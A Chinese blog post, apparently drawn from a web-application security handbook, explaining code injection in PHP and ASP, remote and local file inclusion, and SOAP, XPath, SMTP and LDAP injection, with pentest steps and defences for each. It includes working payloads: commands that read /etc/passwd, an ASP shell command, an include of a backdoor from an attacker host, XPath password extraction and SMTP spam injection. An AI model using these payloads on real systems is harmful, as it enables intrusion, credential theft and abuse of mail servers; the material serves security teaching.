安全测试:代码注入攻防

原创
2016/06/27 09:29
阅读数 2.1K

四、注入WEB脚本语言

·1.动态执行漏洞

1.1 PHP中的动态执行

PHP函数eval可用于动态执行在运行时传送给该函数的代码。下面以一个搜索功能为例,该功能允许用户保存搜索,然后在用户界面上以链接的形式动态生成这些搜索。如果用户访问该搜索功能,他们使用下面的URL:https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh

服务器端应用程序通过动态生成变量来执行这项功能,生成的变量包含在storedsearch参数中指定的名称/值对;在当前情况下,它创建值为wahh的变量mysearch。

$Storedsearch = $_GET['storedsearch'];

eval(·$storedsearch;");

这时就可以提交专门设计的输入,由eval函数动态执行,从而在服务器端应用程序中注入任意PHP命令。分号字符可用于在单独一个参数中将几个命令链接在一起。例如,要获取文件/etc/password的内容,可以使用file_get_contents或system命令:

https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;

%20echo%20file_get_contents('\etc\passwd')

https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;

%20system('cat%20/etc/passwd')

 

Perl语言也包含一个可通过同样的方式加以利用的eval函数。注意,可能需要对分号字符进行URL编码(为%3b),因为一些CGI脚本解析器将它解释为参数分隔符。

 

1.2 ASP中动态执行

ASP函数Execute与PHP函数eval的工作机制相同,可用于动态执行在运行时传送给函数的代码。

上面描述的PHP应用程序功能可用如下ASP代码执行:

dim storedsearch

storedsearch = Request("storedsearch")

execute(storedsearch)

 

这时,攻击者可提交专门设计的输入,注入任意ASP命令。在ASP中,一般用换行符分隔不同的命令,但当想Execute函数提交命令时,几个命令之间可以用冒号链接在一起。例如,

response.write可用于将任意数据写入服务器响应中:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh;

response.write%2011111111

Wscript.Shell对象可用于访问操作系统命令Shell。例如,下面的ASP代码将列出目录内容,并将结果保存在Web根目录下得一个文件中:

Dim oScript

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Call oScript.Run("cmd.exe /c dir > c:\inetpub\wwwroot\dir.txt",0,True)

将所有的命令通过以下方式链接起来,这段代码还可以提交给易受攻击的Execute函数:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:+dim+oScript;+Set+oScript+=+Server.CreateObject("WSCRIPT.SHELL");+

Call+oScript.Run+("cmd.exe+/c+dir+>c:\inetpub\wwwroot\dir.txt",0,True)

 

1.3 查找动态执行漏洞

大多数Web应用程序支持动态执行,而且相关函数的工作机制大体相似。通常而言,使用一组数量相对较少,可用于多种语言和平台的攻击字符串就可以检测出动态执行漏洞。然而,有时候,可能必须研究所针对的函数的语法和行为。例如,虽然Java本身并不支持动态执行,但JSP平台的一些定制函数可能支持它。应当使用在应用程序解析过程中收集到的信息,分析遇到的任何不常见的执行环境。

渗透测试步骤:

1.用户提交的所有数据项都可提交给动态执行函数。其中最常见的数据项是cookie参数名称和参数值,以及作为前一项操作结果保存在用户资料中的永久数据。

2.尝试轮流向目标参数提交下列值:

;echo%20111111

echo%20111111

response.write%20111111

:response.write%20111111

3.监控应用程序的响应。

如果字符串111111被单独返回(即它前面没有其他命令字符串),就表示应用程序可能易于受到脚本命令注入。

4.如果字符串111111并未返回,寻找任何表示输入被动态执行的错误消息;另外,可能需要对语法进行调整,以实现注入任意命令的目的。

5.如果攻击的应用程序使用PHP,可以使用测试字符串phpinfo()。如果他成功执行,应用程序将返回PHP环境的配置信息。

6.如果应用程序可能易于受到攻击,与前面描述的查找OS命令注入漏洞一样,注入一些造成时间延迟的命令确认这一点。例如:

system('ping%20127.0.0.1')

 

·2.文件包含漏洞

许多脚本语言支持使用包含文件(include file).这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将他们包含的特殊功能的的代码文件中。然后,包含文件中的代码被解释,就好像插入到包含指令的位置一样。

2.1 远程文件包含

PHP语言特别容易出现文件包含漏洞。因为他得包含函数接受一个远程文件路径。这种缺陷已经成为PHP应用程序中大量漏洞的根源。

以一个向不同位置的人们传送各种内容的应用程序为例。用户选择他们的位置后,这个信息通过一个请求传送给服务器,代码如下:

https://wahh-app.com/main.php?Country=US

应用程序通过以下方式处理Country参数:

$country = $_GET('country');

include($country.'.php');

这使得执行环境加载位于WEB服务器文件系统中的US.PHP文件。然后,这个文件的内容被复制到main.php文件中,并得以执行。

攻击者能够以各种方式利用这种行为,最严重的情况是指定一个外部URL作为包含文件的位置。PHP包含函数接受这个位置作为输入,接着,执行环境将获取指定的文件夹并执行其内容。因此,攻击者能够构建一个包含任意复杂内容的恶意脚本,将其寄存在他控制的WEB服务器上,并通过易受攻击的应用程序函数调用它然后执行。例如:

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor

 

2.2 本地文件包含

有时,应用程序根据用户可控制的数据加载包含文件,但这时不可能给位于外部服务器上的文件指定URL。例如,如果用户可控制的数据被提交给ASP函数Server.Execute,那么攻击者就可以执行任意一段ASP脚本,只要这段脚本属于调用这个函数的相同应用程序。

在这种情况下,攻击者仍然可以利用应用程序的行为执行未授权操作。

1.服务器上可能有一些通过正常途径无法访问的文件,例如,任何访问路径/admin的请求都会被应用程序实施的访问控制阻止。如果能够将敏感功能包含在一个获得授权可以访问的页面中,那么就可以访问那个功能。

2.服务器上的一些静态资源也受到同样的保护,无法直接访问。如果能够将这些动态包含在其他应用程序页面中,那么执行环境就会将静态资源的内容复制到它的响应中。

 

2.3 查找包含文件的漏洞

渗透测试步骤:

要测试远程文件包含漏洞,执行以下步骤:

1.向每一个目标参数提交一个连接受控制的WEB服务器资源的URL,并确定是否收到运行目标应用程序的服务器提出的任何请求。

2.如果第一次测试失败,尝试提交一个包含不存在的IP地址的URL,并确定服务器试图与这个地址建立连接时是否出现超时。

3.如果发现应用程序易于受到远程文件包含攻击,与前面描述的动态执行攻击一样,使用相关语言中可用的API,构建一段恶意脚本实施攻击。

相对于远程文件包含而言,存在本地文件包含漏洞的脚本环境要更多一些。要测试本地文件漏洞,执行以下步骤:

 (1)提交服务器上一个已知可执行资源的名称,确定应用程序的行为是否有任何变化。

 (2)提交服务器上一个已知静态资源的名称,确定它的内容是否被复制到应用程序的响应中。

 (3)如果应用程序易于受到本地文件包含攻击,尝试通过Web服务器访问任何无法直接到达的敏感功能或资源。

 

3.防止脚本注入漏洞

通常而言,防止脚本注入漏洞的最佳方法是,避免将用户提交的输入或者来自用户的数据传送给任何动态执行或包含函数。如果由于某种原因必须传送用户提交的输入,那么应对相关输入进行严格的确认检查以阻止任何攻击。如有可能,使用一份由已知可靠的值组成的“白名单”(例如应用程序支持的所有语言或位置名单),并拒绝任何没有出现在这个名单上的输入。如果无法做到这一点,应根据一组已知无害的字符[如字母数字字符(空白符除外)],检查在输入中使用的字符。

 

五。注入SOAP

SOAP(Simple Object Access Protocol,简单对象访问协议)是一种使用XML格式封装数据、基于消息的通信技术。

·1.查找并利用SOAP注入

渗透测试步骤:

1.轮流在每个参数中提交一个恶意XML结束标签,如</foo>。如果没有发生错误,那么输入可能没有插入到SOAP消息中,或者以某种方式净化了。

2.如果出现错误,提交一对有效的起始与结束标签,如<foo></foo>。如果这对标签使得错误消失,那么应用程序很可能易于受到攻击。

3.有些时候,插入到XML格式消息中的数据随后以XML格式被读取并返回给用户。如果修改的数据项在应用程序的响应中返回,看看提交的任何XML内容是否以相同的形式返回,或者已通过某种方式被规范化。轮流提交下面两个值:

test<foo/>

test<foo></foo>

如果发现其中一个值的返回结果为另一个值,或者只返回test,那么可以确信输入被插入到了XML消息中。

4.如果HTTP请求中包含几个可放入到SOAP消息中的参数,尝试在一个参数中插入起始注释字符<!--,在另一个参数中插入结束注释字符!-->。然后,轮换在参数中插入这两个字符(因为无法知道参数出现的顺序)。这样做可能会把服务器SOAP消息的某个部分作为注释处理,从而改变应用程序的逻辑,或者形成一个可能形成消息泄露的不同错误条件。

 

·2.防止SOAP注入

我们可以在用户提交的数据被插入SOAP消息中的任何位置实施边界确认过滤,以防止SOAP注入。需要进行过滤的数据包括用户在当前请求中直接提交的数据,以及在前面的请求中已经存在或由以用户数据为输入的其他处理过程生成的数据。

为防止以上上述攻击,应用程序应对出现在用户输入中的任何XML元字符进行HTML编码。HTML编码包含用对应的HTML实体替代字面量字符。这样做可确保XML注释器在进行处理时,把他们当做相关元素的数据值,而不是消息结构的一部分。一些经常造成问题的字符的HTML编码如下:

<   &lt

>   &gt;

/   &#47;

 

 

六。注入XPath

XPath(XML路径语言)是一种用于导航XML文档并从中获取数据的解释型语言。许多时候i,一个XPath表达式代表由一个文档节点导航到另一个文档节点所需要的一些列步骤。

一个获取所有电子邮件地址的XPath查询如下:

//address/email/text()

一个返回Dawes的全部用户资料的查询为:

//address[surname/text() = 'Dawes']

 

6.1 破坏应用程序逻辑

以一个根据用户名和密码获得用户保存的信用卡号码的一个用程序为例。下面的XPath查询核实用户提交的证书,并获取相关用户的信用卡号码:

//address[surname/text() = 'Dawes' and password/text() = 'secret']/ccard/text()

与利用SQL注入漏洞一样,这时攻击者也可以破坏应用程序的查询。例如,提交密码值:'or 'a'='a

将导致下面的XPath查询,获取所有用户的信用卡信息:

//address[surname/text()='Dawes' and password/text()='' or 'a'='a']/ccard/text()

 

与SQL注入一样,注入一个数字值时不需要单引号。

与SQL查询不同,XPath查询中的关键字区分大小写,XML文档中的元素名也区分大小写。

 

6.2 谨慎XPath注入

提交以下两个密码将导致应用程序的不同行为:第一种情况返回结果,但第二种情况不返回结果。

'or 1=1 and 'a'='a

'or 1=2 and 'a'='a

这种行为差异可用于测试任何特殊条件的真假,因此可通过它一次一个字节的提取出任意信息。与SQL一样,XPath语言也包含一个子字符串函数,可用它一次一个字符的测试一个字符串的值。例如,提交密码

'or //address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a

将导致下面的XPath查询,如果用户Gates密码的第一个字符为M,将返回查询结果:

//address[surname/text()='Dawes' and password/text()='' or

//address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a']/ccard/text()

轮流针对每个字符位置并测试每个可能的值,攻击者就能够获得Gates的完整密码。

 

6.3 盲目XPath注入

XPath查询可包含与XML文档中当前节点有关的步骤,因此,从前节点可以导航到父节点或一个特定的子节点。另外,XPath包含可查询文档元信息(包括特殊元素的名称)的函数。使用这些技巧就可以提取出文档中所有节点的名称与值,而不必提前知道与它的结构或内容有关的任何信息。

例如,可以使用前面描述的子字符串技巧,通过提交如下格式的密码,提取当前节点的父节点名称:

'or substring(name(parent:;*[position()=1]),1,1)='a

这个输入能够返回结果,因为address节点的第一个字母为a。轮到第二个字母,这时可以通过提交下列密码确定该字母为d,因为最后一个输入返回了结果:

'or substring(name(parent:;*[position()=1]),2,1)='a

'or substring(name(parent:;*[position()=1]),2,1)='b

'or substring(name(parent:;*[position()=1]),2,1)='c

'or substring(name(parent:;*[position()=1]),2,1)='d

 

确定address节点的名称后,攻击者就可以轮流攻击它的每一个子节点,提取出他们的名称与值。通过索引确定相关子节点可不必知道任何节点的名称。例如,下面的查询将返回值Hunter:

//address[position()=3]/child::node()[position()=4/text()

而下面的查询返回值letmein

//address[position()=3]/child::node()[position()=6]/text()

这种技巧可用在完全盲目的攻击中,这时应用程序在响应中不返回任何结果,我们可以设计一个注入条件,通过索引指定目标节点。例如,如果Gates密码的第一个字母为M,提交下面的密码将返回结果:

'or substring(//address[position()=1]/child::node()[position()=6]/text(),1,1)='M' and 'a'='a

轮流攻击每个地址节点的每个子节点,并一次一个字符的提取出他们的值,攻击者就可以提取整个XML数据的内容。

 

XPath中有两个有用的函数,可帮助自动完成上述攻击,迅速遍历XML文档中的所有节点和数据。

(1)count(),这个函数返回指定元素的子节点数量,可用于确定需要遍历的position()值的范围

(2)string-length(),这个函数返回一个被提交的字符串的长度,可用于确定需要遍历的SubString()值的范围。

 

6.4 查找XPath注入漏洞

 

许多常用于探查SQL注入漏洞的攻击字符串如果被提交给一个易于受到XPath注入的函数,往往会导致反常行为。例如,下面的两个字符将会破坏XPath查询的语法,从而造成错误:

'

'--

通常,与在SQL注入漏洞中一样,下面的一个或几个字符串将会使应用程序的行为发生变化,但不会造成错误:

' or 'a'='a

' and 'a'='b

or 1=1

and 1=2

因此,,任何时候,如果在探查SQL注入过程中发现一个漏洞的初步证据,但却无法对该漏洞加以利用,那么遇到的可能就是XPath注入漏洞。

渗透测试步骤:

1.尝试提交下面的值,并确定他们是否会使应用程序的行为发生变化,但不会造成错误:

' or count(parent::*[position()=1])=0 or 'a'='b

' or count(parent::*[position()=1])>0 or 'a'='b

2.如果参数为数字,尝试提交下面的字符串:

1 or count(parent::*[position()=1])=0

1 or count(parent::*[position()=1])>0

3.如果上面的任何字符串导致应用程序的行为发生改变,但不会造成错误,很可能可以通过设计测试条件,一次提取一个字节的信息,从而获取任意数据。使用一系列以下格式的条件确定当前节点的父节点的名称:

substring(name(parent::*[position()=1]),1,1)='a'

4.提取父节点的名称后,使用一系列下面格式的条件提取XML树中的所有数据:

substring(//parentnodename[position()=1]/child::node()[position()=1]/text(),1,1)='a'

 

6.5防止XPath注入

如果觉得必须在一个XPath查询中插入用户提交的输入,也只应提交可实施严格输入确认的简单数据。应根据一份可接受字符组成的“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏XPath查询的字符,包括()=  '  [] :, * /和所有空白符。应拒绝而不是净化任何与白名单不匹配的输入。

 

 

七。注入SMTP

许多应用程序用友一项允许用户通过应用程序提交消息的功能。例如,向支持人员报告问题或提供关于Web站点的反馈。这项功能一般通过邮件(或SMTP)服务器执行。通常,用户提交的输入被插入到邮件服务器处理的SMTP会话中。如果攻击者能够提交未被过滤或净化的专门设计的输入,就可以在这个会话中注入任意SMTP命令。许多时候,应用程序允许指定消息的内容和自己的电子邮件(插入到生成电子邮件的From字段中)。还可以指定消息的主题和其他细节。能够控制的任何字段都易于受到SMTP注入。

SMTP注入漏洞,他们扫描因特网查找易受攻击的邮件表单,并使用他们生成大量垃圾电子邮件,垃圾电子邮件的发送者经常利用。

 

7.1  操纵电子邮件消息头

这里,用户可指定一个From地址和消息的内容。应用程序把这个输入传送给PHP mail()命令,由它建立邮件并与他配置的邮件服务器进行必要的会话。生成的邮件如下:

To:admin@wahh-app.com

From:marcus@wahh-mail.com

Subject:Site problem

Confirm order page doesn't load.

 

PHP mail()命令使用additional_headers参数为消息设定From地址。这个参数还可用于指定其他消息头,包括Cc和Bcc,并用换行符分隔每个被请求的消息头。因此,攻击者可以通过在From字段中注入一个消息头,将消息发送给任意接收者。

marcus@wahh-mail.com%OaBcc:all@wahh-othercompany.com

 

这使得mail()命令生成以下消息:

To:admin@wahh-app.com

From:marcus@wahh-mail.com

Bcc:all@wahh-othercompany.com

Subject:Site problem

 

Confirm Order page doesn't load

 

7.2 SMTP命令注入

在其他情况下,应用程序可能会执行SMTP会话,或者将用户提交的输入传送给一个不同组件以完成这一任务。这时,我们就可以直接在这个会话中注入任意SMTP命令,完全控制由应用程序生成的消息。

例如,以一个使用以下请求提交站点反馈的应用程序为例:

Post feedback.php HTTP/1.1

Host:wahh-app.com

Content-Length:56

From=daf@wahh-mail.com@subject=Site+feedback&Message=foo

这使得应用程序使用以下命令开始一个SMTP会话:

MAIL FROM:daf@wahh-mail.com

RCPT TO:feedback@wahh-app.com

DATA

From:daf@wahh-mail.com

To:feedback@wahh-app.com

Subject:Site feedback

foo

 

SMTP 客户发出DATA命令后,应用程序送出电子邮件消息的内容,包括消息头和主体,然后发送一个点自如(.),这告诉服务器消息已经发送完毕,客户可以发出其他SMTP命令,发送其他消息。

 

这时,攻击者可以在任何控制的电子邮件字段中注入任意SMTP命令。例如,他可以尝试注入Subject字段,如下所示:

POST feedback.php HTTP/1.1

Host:wahh-app.com

Content-Length:266

 

From=daf@wahh-mail.com&Subject=Site+feedback%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+mail@wahh-viagra.com%Od%OaRCPT+TO:+john@wahh-mail.com

%Od%OaDATA%Od%OaFROM:+mail@wahh-viagra.com%Od%OaTO:+john@wahh-mail.com%Od%OaSubject:+Cheap+VLAGR4%Od%OaBlah%Od%Oa%2e%Od%Oa&Message=foo

 

如果应用程序易受攻击,那么会建立以下SMTP会话,它生成两个不同的电子邮件消息,其中第二个完全由攻击者控制:

MAIL FROM:daf@wahh-mail.com

RCPT TO:feedback@wahh-app.com

DATA

From:daf@wahh-mail.com

TO:feedback@wahh-app.com

Subject:Site+feedback

foo

.

Mail FROM:mail@wahh-viagra.com

RCPT TO:john@wahh-mail.com

DATA

FROM:mail@wahh-viagra.com

TO:john@wahh-mail.com

Subject:Cheap VIAGR4

Blah

.

foo

.

 

7.3 查找SMTP注入漏洞

为了有效探查应用程序的邮件功能,需要测试每一个提交给电子邮件有关的功能的参数,甚至那些最初可能与生成的消息无关的参数。

渗透测试员还应该测试每一种攻击,并在每个测试中使用Windows和UNIX形式的换行符。

 

渗透测试步骤:

1.应当轮流提交下面的每个测试字符串作为每一个参数,在相关位置插入电子邮件地址。

<youremail>%OaCc:<youremail>

<youremail>%Od%OaCc:<youremail>

<youremail>%OaBcc:<youremail>

<youremail>%Od%OaBcc:<youremail>

%OaDATA%Oafoo%Oa%2e%OaMAIL+FROM:+<youremail>%OaRCPT+TO:+<youremail>%OaDATA%OaFrom:+<youremail>%OaTO:+<youremail>%OaSubject:+test%Oafoo%Oa%2e%Oa

%Od%OaDATA%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+<youremail>%Od%OaRCPT+TO:+<youremail>%Od%OaDATA%Od%OaFrom:+<youremail>%Od%OaTO:+<youremail>%Od%OaSubject:+test%Od%Oafoo%Od%Oa%2e%Od%Oa

 

2.留意应用程序返回的任何错误消息。如果这些错误与电子邮件功能中的任何问题有关,确定是否需要对输入进行调整,以便利用漏洞。

3.应用程序的响应可能并不以任何形式表示一个漏洞存在或被成功利用。应该监控指定的电子邮件地址,看是否收到任何电子邮件。

4.仔细检查生成相关请求的HTML表单。他们可能提供与服务器端使用软件有关的线索。其中可能包含一个用于指定电子邮件收件人地址的隐藏或禁用字段,可以直接对其进行修改。

5.向程序支持人员发送电子邮件的功能常常被视为外围功能,应用程序可能并不对其采用与主要功能相同的安全标准,或者进行严格的测试。而且,因为他们需要连接不常用的后端组件,应用程序往往通过直接调用相关操作系统命令来执行他们。因此,除探查SMTP注入漏洞外,还应及其仔细地检查所有与电子邮件有关的功能,查找OS命令注入漏洞。

 

7.4 防止SMTP注入

如果对提交给电子邮件功能或SMTP会话使用的任何用户提交的数据进行严格的确认检查,就可以防止SMTP注入漏洞。因此,应根据其用途对每项数据进行尽可能严格的确认。

(1)应根据一个适当的正则表达式检查电子邮件地址(当然应拒绝所有换行符)

(2)消息主题不得包含任何换行符,并应实施适当的长度限制。

(3)如果消息内容被一个SMTP会话直接使用,那么应禁止使用仅包含一个点字符的消息行。

 

八。注入LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)用于访问网络中的目录服务。Windows域中使用的活动目录(Active Directory)就是这种目录的一个典型示例。

8.1 注入查询属性

要在查询结果中获取其他属性,必须首先终止包含查询过滤器的括号,然后指定其他想要的属性。例如,提交

GUILL);mail.cn;

将导致以下查询:

<LDAP://ldapserver>;<givenName=GUILL);mail.cn;);cn,telephoneNumber,department

它返回另外一个包含用户电子邮件地址的栏。

请注意另外一个包含恶意属性名cn;);cn的栏。LDAP查询属性在一个用逗号分隔的列表中指定,因此两个逗号之间的任何内容都被当做属性名处理。还请注意,如果指定完全任意的属性名,活动目录将返回一个错误;但是,它接受以有效名称开始、后接一个分号的无效属性名,因此需要在注入字符串后指定cn;。

还可以指定在结果中返回任何数量的字段,并且可以用一个星号(*)作为通过通配符代表主查询过滤器。例如,提交

*);cn,l,co,st,c,mail,cn;

将返回属于每名用户的全部字段。

 

8.2 修改查询过滤器

有时,用户提交的输入并不直接用作查询过滤器的全部值,而是嵌入到一个更加复杂的过滤器中。例如,如果执行搜索的用户只能查看法国雇员的资料,应用程序将执行以下查询:

<LDAP://ldapserver>;(&(givenName=GUILL)(c=FR));cn,telephoneNumber,department,c

这个查询使用&操作符组合两个条件:一个条件由用户控制,另一个条件由应用程序员预先设定。提交搜索项*将返回所有法国用户的资料。但是,提交字符串*));cn,cn;

应用程序将执行以下查询:

<LDAP://ldapserver>;(&(givenName=*));cn,cn;)(c=FR));cn,telephoneNumber,department,c

它会从查询过滤器中删除(c=FR)条件,破坏应用程序最初的逻辑,因而返回所有用户的资料,

 

8.3 查找LDAP注入漏洞

向一项LDAP操作提交无效的输入并不会生成任何详细的错误消息。通常,由搜索功能返回的结果和发生的错误(如一个HTTP500状态码)都有助于确定漏洞。但是,渗透测试员可以使用以下步骤相对可靠的确定一个LDAP注入漏洞:

渗透测试步骤:

1.尝试仅输入*字符作为搜索项。在LDAP中,这个字符是一个通配符,但在SQL中不是。如果返回大量结果,这种情况明显表示攻击针对的是一个LDAP查询

2.尝试输入大量的括号:))))))))))

3.这个输入将结束任何括住输入、以及那些包含主查询过滤器的括号,导致无法匹配的闭括号,因而破坏查询的语法。如果发生错误,应用程序就易于受到LDAP注入。(注意,这种输入也会破坏其他许多类型的应用程序逻辑,因此,如果已经确定所针对的是一个LDAP查询,它只能提供一个明显的指标)

4.尝试输入下面的一系列表达式,直到不再出现错误,从而确定要控制剩下的查询,需要结束多少个括号:

*);cn;

*));cn;

*)));cn;

*))));cn;

5.尝试在输入结尾增加其他属性,用逗号分隔这些属性。轮流测试每一个属性。如果返回错误消息,那么该属性当前无效。常用在目录中被LDAP查询的属性包括:

cn;c,mail,givenName,o,ou,dc,l,uid,objectclass,postaladdress,dn,sn

 

8.4 防止LDAP注入

如果有必要在一个LDAP查询中插入用户提交的输入,也只提交可实施输入确认的简单数据。应根据一份可接受字符“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏LDAP查询的字符,包括();, * |  & 和 =。应拒绝而不是净化任何与白名单不匹配的输入。

展开阅读全文
加载中

作者的其它热门文章

打赏
0
3 收藏
分享
打赏
0 评论
3 收藏
0
分享
返回顶部
顶部